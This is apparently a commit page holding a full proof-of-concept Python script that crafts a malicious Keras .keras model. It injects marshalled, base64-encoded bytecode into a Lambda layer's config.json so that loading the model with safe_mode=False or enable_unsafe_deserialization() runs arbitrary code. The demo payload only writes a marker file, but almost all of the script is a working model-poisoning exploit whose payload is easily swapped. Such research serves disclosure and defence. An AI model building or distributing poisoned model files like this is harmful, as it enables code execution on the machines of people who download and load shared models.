Upload poc_keras_lambda_ace.py with huggingface_hub
Browse files- poc_keras_lambda_ace.py +238 -0
poc_keras_lambda_ace.py
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| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
Keras .keras Lambda Layer - Arbitrary Code Execution PoC
|
| 4 |
+
|
| 5 |
+
VULNERABILITY:
|
| 6 |
+
.keras model files are ZIP archives containing config.json. Lambda layers
|
| 7 |
+
store base64-encoded marshal'd Python bytecode in config.json under the
|
| 8 |
+
"function" -> "config" -> "code" key. When a model is loaded with
|
| 9 |
+
safe_mode=False (or after calling tf.keras.config.enable_unsafe_deserialization()),
|
| 10 |
+
this bytecode is unmarshalled and executed - enabling arbitrary code execution
|
| 11 |
+
from a crafted model file.
|
| 12 |
+
|
| 13 |
+
IMPACT:
|
| 14 |
+
Any user who loads an untrusted .keras file with safe_mode=False gets arbitrary
|
| 15 |
+
code execution. Many official tutorials and StackOverflow answers recommend
|
| 16 |
+
safe_mode=False to load models with custom layers. HuggingFace hosts thousands
|
| 17 |
+
of .keras files that could be replaced with malicious versions.
|
| 18 |
+
|
| 19 |
+
ATTACK VECTOR:
|
| 20 |
+
1. Attacker creates a legitimate-looking .keras model
|
| 21 |
+
2. Attacker replaces Lambda layer bytecode with malicious payload
|
| 22 |
+
3. Victim downloads model from HuggingFace, Kaggle, or email
|
| 23 |
+
4. Victim loads with safe_mode=False -> code executes silently
|
| 24 |
+
|
| 25 |
+
AFFECTED:
|
| 26 |
+
- keras >= 3.0 (all versions using .keras format)
|
| 27 |
+
- tensorflow >= 2.16 (ships keras 3.x)
|
| 28 |
+
|
| 29 |
+
TESTED: TensorFlow 2.20.0, Keras 3.13.2, Python 3.12
|
| 30 |
+
|
| 31 |
+
Usage:
|
| 32 |
+
python3 poc_keras_lambda_ace.py
|
| 33 |
+
"""
|
| 34 |
+
|
| 35 |
+
import os
|
| 36 |
+
import sys
|
| 37 |
+
import json
|
| 38 |
+
import zipfile
|
| 39 |
+
import marshal
|
| 40 |
+
import base64
|
| 41 |
+
import types
|
| 42 |
+
import tempfile
|
| 43 |
+
import shutil
|
| 44 |
+
|
| 45 |
+
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
|
| 46 |
+
|
| 47 |
+
MARKER_FILE = "/tmp/keras_ace_marker.txt"
|
| 48 |
+
PAYLOAD_MSG = "KERAS_LAMBDA_ACE_CONFIRMED"
|
| 49 |
+
|
| 50 |
+
|
| 51 |
+
def create_malicious_keras_model(output_path):
|
| 52 |
+
import tensorflow as tf
|
| 53 |
+
import numpy as np
|
| 54 |
+
|
| 55 |
+
print("[*] Step 1: Building legitimate model with Lambda layer...")
|
| 56 |
+
model = tf.keras.Sequential([
|
| 57 |
+
tf.keras.layers.Input(shape=(5,)),
|
| 58 |
+
tf.keras.layers.Dense(10, name="dense_1"),
|
| 59 |
+
tf.keras.layers.Lambda(lambda x: x * 2, name="lambda_layer"),
|
| 60 |
+
tf.keras.layers.Dense(1, name="output"),
|
| 61 |
+
])
|
| 62 |
+
model.compile(optimizer="adam", loss="mse")
|
| 63 |
+
|
| 64 |
+
tmp_dir = tempfile.mkdtemp(prefix="keras_poc_")
|
| 65 |
+
legit_path = os.path.join(tmp_dir, "legit.keras")
|
| 66 |
+
model.save(legit_path)
|
| 67 |
+
print(" Saved legitimate model: {} ({} bytes)".format(legit_path, os.path.getsize(legit_path)))
|
| 68 |
+
|
| 69 |
+
print("[*] Step 2: Extracting .keras ZIP and injecting malicious bytecode...")
|
| 70 |
+
with zipfile.ZipFile(legit_path, "r") as zf:
|
| 71 |
+
archive_files = {name: zf.read(name) for name in zf.namelist()}
|
| 72 |
+
|
| 73 |
+
config = json.loads(archive_files["config.json"])
|
| 74 |
+
|
| 75 |
+
evil_source = "lambda x: (__import__('builtins').open('{}', 'w').write('{}\\n'), x)[-1]".format(
|
| 76 |
+
MARKER_FILE, PAYLOAD_MSG
|
| 77 |
+
)
|
| 78 |
+
print(" Payload: write '{}' to {}".format(PAYLOAD_MSG, MARKER_FILE))
|
| 79 |
+
|
| 80 |
+
evil_expr = compile(evil_source, "<payload>", "eval")
|
| 81 |
+
lambda_code = [c for c in evil_expr.co_consts if isinstance(c, types.CodeType)][0]
|
| 82 |
+
|
| 83 |
+
evil_b64 = base64.b64encode(marshal.dumps(lambda_code)).decode() + "\n"
|
| 84 |
+
print(" Encoded bytecode: {} chars".format(len(evil_b64)))
|
| 85 |
+
|
| 86 |
+
def inject_into_lambda(obj):
|
| 87 |
+
if isinstance(obj, dict):
|
| 88 |
+
if obj.get("class_name") == "Lambda" and "config" in obj:
|
| 89 |
+
func = obj["config"].get("function", {})
|
| 90 |
+
if isinstance(func, dict) and "config" in func:
|
| 91 |
+
func["config"]["code"] = evil_b64
|
| 92 |
+
print(" Injected payload into Lambda layer config")
|
| 93 |
+
return True
|
| 94 |
+
for v in obj.values():
|
| 95 |
+
if isinstance(v, (dict, list)) and inject_into_lambda(v):
|
| 96 |
+
return True
|
| 97 |
+
elif isinstance(obj, list):
|
| 98 |
+
for v in obj:
|
| 99 |
+
if inject_into_lambda(v):
|
| 100 |
+
return True
|
| 101 |
+
return False
|
| 102 |
+
|
| 103 |
+
if not inject_into_lambda(config):
|
| 104 |
+
print(" ERROR: Could not find Lambda layer in config.json")
|
| 105 |
+
sys.exit(1)
|
| 106 |
+
|
| 107 |
+
print("[*] Step 3: Repacking .keras file with malicious config...")
|
| 108 |
+
archive_files["config.json"] = json.dumps(config).encode()
|
| 109 |
+
with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
|
| 110 |
+
for name, data in archive_files.items():
|
| 111 |
+
zf.writestr(name, data)
|
| 112 |
+
|
| 113 |
+
print(" Malicious model: {} ({} bytes)".format(output_path, os.path.getsize(output_path)))
|
| 114 |
+
shutil.rmtree(tmp_dir)
|
| 115 |
+
|
| 116 |
+
|
| 117 |
+
def test_safe_mode_true(model_path):
|
| 118 |
+
import tensorflow as tf
|
| 119 |
+
print("\n[*] Test A: Loading with safe_mode=True (default)...")
|
| 120 |
+
if os.path.exists(MARKER_FILE):
|
| 121 |
+
os.remove(MARKER_FILE)
|
| 122 |
+
try:
|
| 123 |
+
tf.keras.models.load_model(model_path)
|
| 124 |
+
print(" Model loaded (unexpected)")
|
| 125 |
+
return os.path.exists(MARKER_FILE)
|
| 126 |
+
except Exception as e:
|
| 127 |
+
print(" Blocked as expected: {}".format(str(e)[:150]))
|
| 128 |
+
return False
|
| 129 |
+
|
| 130 |
+
|
| 131 |
+
def test_safe_mode_false(model_path):
|
| 132 |
+
import tensorflow as tf
|
| 133 |
+
import numpy as np
|
| 134 |
+
print("\n[*] Test B: Loading with safe_mode=False...")
|
| 135 |
+
if os.path.exists(MARKER_FILE):
|
| 136 |
+
os.remove(MARKER_FILE)
|
| 137 |
+
try:
|
| 138 |
+
loaded = tf.keras.models.load_model(model_path, safe_mode=False)
|
| 139 |
+
print(" Model loaded with safe_mode=False")
|
| 140 |
+
|
| 141 |
+
if os.path.exists(MARKER_FILE):
|
| 142 |
+
with open(MARKER_FILE) as f:
|
| 143 |
+
content = f.read().strip()
|
| 144 |
+
print(" >>> ACE CONFIRMED ON LOAD: marker = '{}'".format(content))
|
| 145 |
+
return True
|
| 146 |
+
|
| 147 |
+
print(" No execution on load. Running inference...")
|
| 148 |
+
result = loaded.predict(np.random.randn(1, 5), verbose=0)
|
| 149 |
+
print(" Inference result: {}".format(result))
|
| 150 |
+
|
| 151 |
+
if os.path.exists(MARKER_FILE):
|
| 152 |
+
with open(MARKER_FILE) as f:
|
| 153 |
+
content = f.read().strip()
|
| 154 |
+
print(" >>> ACE CONFIRMED ON INFERENCE: marker = '{}'".format(content))
|
| 155 |
+
return True
|
| 156 |
+
|
| 157 |
+
print(" No ACE triggered")
|
| 158 |
+
return False
|
| 159 |
+
except Exception as e:
|
| 160 |
+
print(" Error: {}".format(str(e)[:300]))
|
| 161 |
+
return False
|
| 162 |
+
|
| 163 |
+
|
| 164 |
+
def test_enable_unsafe_deserialization(model_path):
|
| 165 |
+
import tensorflow as tf
|
| 166 |
+
import numpy as np
|
| 167 |
+
print("\n[*] Test C: Loading with enable_unsafe_deserialization()...")
|
| 168 |
+
if os.path.exists(MARKER_FILE):
|
| 169 |
+
os.remove(MARKER_FILE)
|
| 170 |
+
try:
|
| 171 |
+
tf.keras.config.enable_unsafe_deserialization()
|
| 172 |
+
loaded = tf.keras.models.load_model(model_path)
|
| 173 |
+
print(" Model loaded with enable_unsafe_deserialization")
|
| 174 |
+
|
| 175 |
+
if os.path.exists(MARKER_FILE):
|
| 176 |
+
with open(MARKER_FILE) as f:
|
| 177 |
+
content = f.read().strip()
|
| 178 |
+
print(" >>> ACE CONFIRMED ON LOAD: marker = '{}'".format(content))
|
| 179 |
+
return True
|
| 180 |
+
|
| 181 |
+
print(" No execution on load. Running inference...")
|
| 182 |
+
result = loaded.predict(np.random.randn(1, 5), verbose=0)
|
| 183 |
+
|
| 184 |
+
if os.path.exists(MARKER_FILE):
|
| 185 |
+
with open(MARKER_FILE) as f:
|
| 186 |
+
content = f.read().strip()
|
| 187 |
+
print(" >>> ACE CONFIRMED ON INFERENCE: marker = '{}'".format(content))
|
| 188 |
+
return True
|
| 189 |
+
|
| 190 |
+
print(" No ACE triggered")
|
| 191 |
+
return False
|
| 192 |
+
except Exception as e:
|
| 193 |
+
print(" Error: {}".format(str(e)[:300]))
|
| 194 |
+
return False
|
| 195 |
+
|
| 196 |
+
|
| 197 |
+
def main():
|
| 198 |
+
print("=" * 70)
|
| 199 |
+
print("Keras .keras Lambda Layer - Arbitrary Code Execution PoC")
|
| 200 |
+
print("=" * 70)
|
| 201 |
+
|
| 202 |
+
script_dir = os.path.dirname(os.path.abspath(__file__))
|
| 203 |
+
malicious_model = os.path.join(script_dir, "malicious_lambda.keras")
|
| 204 |
+
|
| 205 |
+
if os.path.exists(MARKER_FILE):
|
| 206 |
+
os.remove(MARKER_FILE)
|
| 207 |
+
|
| 208 |
+
create_malicious_keras_model(malicious_model)
|
| 209 |
+
|
| 210 |
+
ace_safe = test_safe_mode_true(malicious_model)
|
| 211 |
+
ace_unsafe = test_safe_mode_false(malicious_model)
|
| 212 |
+
ace_global = test_enable_unsafe_deserialization(malicious_model)
|
| 213 |
+
|
| 214 |
+
print("\n" + "=" * 70)
|
| 215 |
+
print("RESULTS:")
|
| 216 |
+
print(" safe_mode=True (default): {}".format("ACE!" if ace_safe else "Blocked (correct)"))
|
| 217 |
+
print(" safe_mode=False: {}".format("ACE!" if ace_unsafe else "No ACE"))
|
| 218 |
+
print(" enable_unsafe_deserialization(): {}".format("ACE!" if ace_global else "No ACE"))
|
| 219 |
+
print()
|
| 220 |
+
|
| 221 |
+
if ace_unsafe or ace_global:
|
| 222 |
+
print("VULNERABILITY CONFIRMED: .keras Lambda bytecode enables arbitrary")
|
| 223 |
+
print("code execution when loaded with safe_mode=False or after calling")
|
| 224 |
+
print("enable_unsafe_deserialization().")
|
| 225 |
+
print()
|
| 226 |
+
print("Marker file: {}".format(MARKER_FILE))
|
| 227 |
+
if os.path.exists(MARKER_FILE):
|
| 228 |
+
with open(MARKER_FILE) as f:
|
| 229 |
+
print("Contents: {}".format(f.read().strip()))
|
| 230 |
+
print("\nMalicious model saved to: {}".format(malicious_model))
|
| 231 |
+
else:
|
| 232 |
+
print("No ACE triggered. Check TensorFlow/Keras version.")
|
| 233 |
+
|
| 234 |
+
print("=" * 70)
|
| 235 |
+
|
| 236 |
+
|
| 237 |
+
if __name__ == "__main__":
|
| 238 |
+
main()
|